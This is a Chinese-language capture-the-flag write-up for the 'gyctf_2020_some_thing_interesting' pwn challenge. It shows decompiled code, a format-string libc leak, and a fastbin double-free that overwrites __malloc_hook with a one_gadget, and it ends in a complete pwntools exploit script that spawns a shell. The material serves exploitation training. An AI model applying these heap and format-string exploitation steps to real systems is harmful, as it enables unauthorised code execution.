gyctf_2020_some_thing_interesting
uaf+格式化字符串
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
64位保护全开,
瞧一下ida
char *sub_B7A()
{
memset(s1, 0, 0x14uLL);
puts("#######################");
puts("# Surprise #");
puts("#---------------------#");
printf("> Input your code please:");
read(0, s1, 0x13uLL);
if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return s1;
}
这个东东先逆向,OreOOrereOOreO
必须含有这个,这里占了0xf
我们能输入0x13
但是他检测只检测写入的前0xe
,
然后读入的东西会进入到下面这里
unsigned __int64 __fastcall sub_D3D(const char *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( dword_202010 )
{
puts("Now you are ....?");
printf("# Your Code is ");
printf(a1);
putchar(10);
puts("###############################################################################");
}
else
{
puts("Now you are Administrator!");
}
return __readfsqword(0x28u) ^ v2;
}
这里存在一个格式化字符串漏洞,刚好够0x13-0xf=0x5 %??$p
极限(x
我们看看栈能泄露点啥东西
发现个__libc_start_main+240
我们算出偏移是17
OreOOrereOOreO%17$p
有了libcbase下面随便打
unsigned __int64 ADD()
{
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Create Oreo #");
puts("#---------------------#");
for ( i = 1; i <= 9 && *((_QWORD *)&unk_2020E0 + i) && BSSPTR1[i] && *((_QWORD *)&unk_2021A0 + i) && BSSPTR2[i]; ++i )
{
if ( i == 9 )
{
puts("# so much Oreo! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
}
printf("> O's length : ");
_isoc99_scanf("%ld", &BSSPTR1[i]);
if ( BSSPTR1[i] <= 0 || BSSPTR1[i] > 0x70 )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
*((_QWORD *)&unk_2020E0 + i) = malloc(BSSPTR1[i]);
printf("> O : ");
read(0, *((void **)&unk_2020E0 + i), BSSPTR1[i]);
printf("> RE's length : ");
_isoc99_scanf("%ld", &BSSPTR2[i]);
if ( BSSPTR2[i] <= 0 || BSSPTR2[i] > 0x70 )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
printf("> RE : ");
*((_QWORD *)&unk_2021A0 + i) = malloc(BSSPTR2[i]);
read(0, *((void **)&unk_2021A0 + i), BSSPTR2[i]);
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
add这里,建了两个chunk,size都是fastbin大小的
unsigned __int64 EDIT()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Modify Oreo #");
puts("#---------------------#");
printf("> Oreo ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 > 0xA
|| !*((_QWORD *)&unk_2020E0 + (int)v1)
|| !BSSPTR1[v1]
|| !*((_QWORD *)&unk_2021A0 + (int)v1)
|| !BSSPTR2[v1] )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
printf("> O : ");
read(0, *((void **)&unk_2020E0 + (int)v1), BSSPTR1[v1]);
printf("> RE : ");
read(0, *((void **)&unk_2021A0 + (int)v1), BSSPTR2[v1]);
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
edit这里正常edit,有的师傅有用edit,直接改fd指针,效果一样的
unsigned __int64 DELE()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Oreo #");
puts("#---------------------#");
printf("> Oreo ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 > 0xA || !*((_QWORD *)&unk_2020E0 + (int)v1) )
{
puts("Emmmmmm!Maybe you want Fool me!");
EXIT();
}
free(*((void **)&unk_2020E0 + (int)v1));
free(*((void **)&unk_2021A0 + (int)v1));
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}
uaf
show一般用来泄露libc,极个别用来改got表然后getshell,(或者还有其他
本题已经拿到libc了所以没啥用(-.-)
题目部署在libc-2.23
from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",29960,"./pwn",10)
sla(b'please:',b'OreOOrereOOreO%17$p')
sla(menu,b'0')
ru(b'OreOOrereOOreO0x')
leak=int(r.recv(12),16)-240-libc.sym['__libc_start_main']
li(leak)
malloc=mallochook(leak)
one=leak+0xf1147
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
add(0x68,b'aaaa',0x68,b'bbbb')
dele(1)
dele(1)
#这里因为fastbin的特性,并且申请了两个chunk,所以直接free两次就行
add(0x68,p64(malloc-0x23),0x68,b'bbbb')
add(0x68,b'aaaa',0x68,b'b'*0x13+p64(one))
li(one)
sla(menu,b'1')
sla(b': ',b'1')
#debug()
ia()